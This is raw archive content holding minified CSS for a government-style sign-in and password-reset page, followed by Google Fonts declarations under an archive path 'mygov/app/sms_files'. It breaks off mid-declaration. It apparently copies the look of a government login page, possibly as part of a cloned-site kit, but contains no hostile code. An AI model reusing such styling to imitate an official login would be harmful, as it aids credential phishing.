button.showPassword.anchor{border-width:2px;border-width:.125rem;padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem;border-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor:hover,.wrapper-mapwap .input-group.hasError button.showPassword.anchor:focus,.wrapper-mapwap label.hasError button.showPassword.anchor:hover,.wrapper-mapwap label.hasError button.showPassword.anchor:focus,.wrapper-mapwap div.hasError button.showPassword.anchor:hover,.wrapper-mapwap div.hasError button.showPassword.anchor:focus,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:hover,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:focus,#inner-content .input-group.hasError button.showPassword.anchor:hover,#inner-content .input-group.hasError button.showPassword.anchor:focus,#inner-content label.hasError button.showPassword.anchor:hover,#inner-content label.hasError button.showPassword.anchor:focus,#inner-content div.hasError button.showPassword.anchor:hover,#inner-content div.hasError button.showPassword.anchor:focus,#inner-content .code-container.hasError button.showPassword.anchor:hover,#inner-content .code-container.hasError button.showPassword.anchor:focus,.unauth .input-group.hasError button.showPassword.anchor:hover,.unauth .input-group.hasError button.showPassword.anchor:focus,.unauth label.hasError button.showPassword.anchor:hover,.unauth label.hasError button.showPassword.anchor:focus,.unauth div.hasError button.showPassword.anchor:hover,.unauth div.hasError button.showPassword.anchor:focus,.unauth .code-container.hasError button.showPassword.anchor:hover,.unauth .code-container.hasError button.showPassword.anchor:focus{background-color:#dc3548;border-color:#dc3548;color:#fff;outline:0}.wrapper-mapwap .main-block{margin-top:65px;margin-top:4.0625rem}@media screen and (min-width:640px){.wrapper-mapwap .main-block{padding:0 70px;padding:0 4.375rem}.wrapper-mapwap .main-block .unauth{padding:0}}html{font-size:100%}html body{font-size:18px;font-size:1.125rem}html .unauth .button-digital-identity,html .unauth .button-main,html #inner-content .button-main,html #modal-btn,html .button-container .button-main{border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0}html .unauth .button-digital-identity:hover,html .unauth .button-main:hover,html #inner-content .button-main:hover,html #modal-btn:hover,html .button-container .button-main:hover{color:#fff;background-color:#254a7e}html .unauth .button-digital-identity:focus,html .unauth .button-main:focus,html #inner-content .button-main:focus,html #modal-btn:focus,html .button-container .button-main:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}html .unauth a.anchor,html .unauth button.anchor,html .external-links-zone a,html .form-terms-link,html a.button-back,html .create-account-link,html .help-info,html .help-info-button,html .wrapper-mapwap .help-info,.wrapper-mapwap html .help-info,html #inner-content .help-info,#inner-content html .help-info,html .unauth .help-info,.unauth html .help-info,html .error-msg-text a,html .accordion-link{color:#254a7e}html .unauth a.anchor:hover,html .unauth button.anchor:hover,html .external-links-zone a:hover,html .form-terms-link:hover,html a.button-back:hover,html .create-account-link:hover,html .help-info:hover,html .help-info-button:hover,html .wrapper-mapwap .help-info:hover,.wrapper-mapwap html .help-info:hover,html #inner-content .help-info:hover,#inner-content html .help-info:hover,html .unauth .help-info:hover,.unauth html .help-info:hover,html .error-msg-text a:hover,html .accordion-link:hover{background-color:#254a7e;color:#fff}html .unauth a.anchor:focus,html .unauth button.anchor:focus,html .external-links-zone a:focus,html .form-terms-link:focus,html a.button-back:focus,html .create-account-link:focus,html .help-info:focus,html .help-info-button:focus,html .wrapper-mapwap .help-info:focus,.wrapper-mapwap html .help-info:focus,html #inner-content .help-info:focus,#inner-content html .help-info:focus,html .unauth .help-info:focus,.unauth html .help-info:focus,html .error-msg-text a:focus,html .accordion-link:focus{outline:2px solid #183052;outline:.125rem solid #183052;color:#254a7e;background-color:unset}ul.account-options{margin:23.5px -12.5px 22.5px;margin:1.46875rem -0.78125rem 1.40625rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;list-style:none;padding:0}ul.account-options>li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap}ul.account-options>li .item{border:1px solid #d9d9d6;border:.0625rem solid #d9d9d6;border-radius:5px;border-radius:.3125rem;padding:25px 28px 50px;padding:1.5625rem 1.75rem 3.125rem;margin:12.5px;margin:.78125rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}ul.account-options>li .item h2{font-size:24px;font-size:1.5rem;margin-bottom:16px;margin-bottom:1rem;margin-top:0;line-height:1.33333;font-weight:500}ul.account-options>li .item .button-container{margin-top:auto;margin-bottom:0;text-align:left}ul.account-options>li .item .button-container>*{padding:7px 32px;padding:.4375rem 2rem;min-height:48px;min-height:3rem;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:auto;height:auto;line-height:1}ul.account-options>li:not(:last-child) .item{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}ul.account-options>li:not(:last-child):after{margin:12.5px;margin:.78125rem;font-size:22px;font-size:1.375rem;padding:13px 12px;padding:.8125rem .75rem;min-width:53px;min-width:3.3125rem;content:"OR";border-radius:50%;-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;line-height:1.31818;font-weight:500;background-color:#f1f1f1}@media screen and (min-width:768px){ul.account-options>li:last-child{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:-webkit-calc(50% - 39px);width:calc(50% - 39px);width:-webkit-calc(50% - 2.4375rem);width:calc(50% - 2.4375rem)}}@media screen and (min-width:768px){ul.account-options>li{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}@media screen and (min-width:768px){ul.account-options{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}.di-link h1{font-size:40px;font-size:2.5rem;margin-bottom:19px;margin-bottom:1.1875rem;line-height:1.325;margin-top:0}.di-link p{line-height:1.55556;margin-top:0}.di-connected-success button{width:50%}form>*:first-child{margin-top:17px;margin-top:1.0625rem}form legend.non-heading{font-size:16px;font-size:1rem;padding-bottom:12px;padding-bottom:.75rem;margin-bottom:-9px;margin-bottom:-0.5625rem}form .new-password-group .input-group{margin-bottom:24px;margin-bottom:1.5rem}form input[type="radio"]+label{padding-left:44px;padding-left:2.75rem;margin-left:-14px;margin-left:-0.875rem;margin-bottom:0;font-weight:400;width:-webkit-calc(100%+14px);width:calc(100%+14px)}.wrapper-mapwap .button-container,.unauth .button-container{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .button-container .button,.unauth .button-container .button{height:48px;height:3rem;margin-right:12px;margin-right:.75rem;line-height:1}.wrapper-mapwap .button-container .button:hover,.unauth .button-container .button:hover{text-decoration:none}.wrapper-mapwap .button-container .button:focus,.unauth .button-container .button:focus{outline-width:2px;outline-width:.125rem}.wrapper-mapwap .button-container .button:last-child,.unauth .button-container .button:last-child{margin-right:0}.wrapper-mapwap .hasInfo,.unauth .hasInfo{border-left-color:#254a7e}.wrapper-mapwap .hasInfo a,.unauth .hasInfo a{color:#254a7e}.wrapper-mapwap #resetPasswordPair .hasError span.hasError p,.unauth #resetPasswordPair .hasError span.hasError p{margin-top:0}.wrapper-mapwap #resetPasswordPair p:last-of-type,.unauth #resetPasswordPair p:last-of-type{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.unauth #resetPasswordPair ul{margin-top:8px;margin-top:.5rem;margin-bottom:13px;margin-bottom:.8125rem}.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul li{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul,.unauth #resetPasswordPair ul li{line-height:1.55556}.wrapper-mapwap #resetPasswordPair .help-info-group+#security-codes-info+*,.unauth #resetPasswordPair .help-info-group+#security-codes-info+*{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap #resetPasswordPair #security-codes-info,.unauth #resetPasswordPair #security-codes-info{font-size:inherit}.wrapper-mapwap #resetPasswordPair #security-codes-info p:first-of-type,.unauth #resetPasswordPair #security-codes-info p:first-of-type{margin-top:9px;margin-top:.5625rem}.wrapper-mapwap form input[type="radio"]:checked+label{font-weight:400}.wrapper-mapwap form input[type="radio"]:checked+label:after{box-shadow:0 0 0 2px #254a7e;box-shadow:0 0 0 .125rem #254a7e;background-color:#254a7e}.wrapper-mapwap form input[type="radio"]:checked+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label{font-size:16px;font-size:1rem}.wrapper-mapwap form input[type="radio"]+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/sms_files/css000064400000037222151676702570011212 0ustar00/* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, 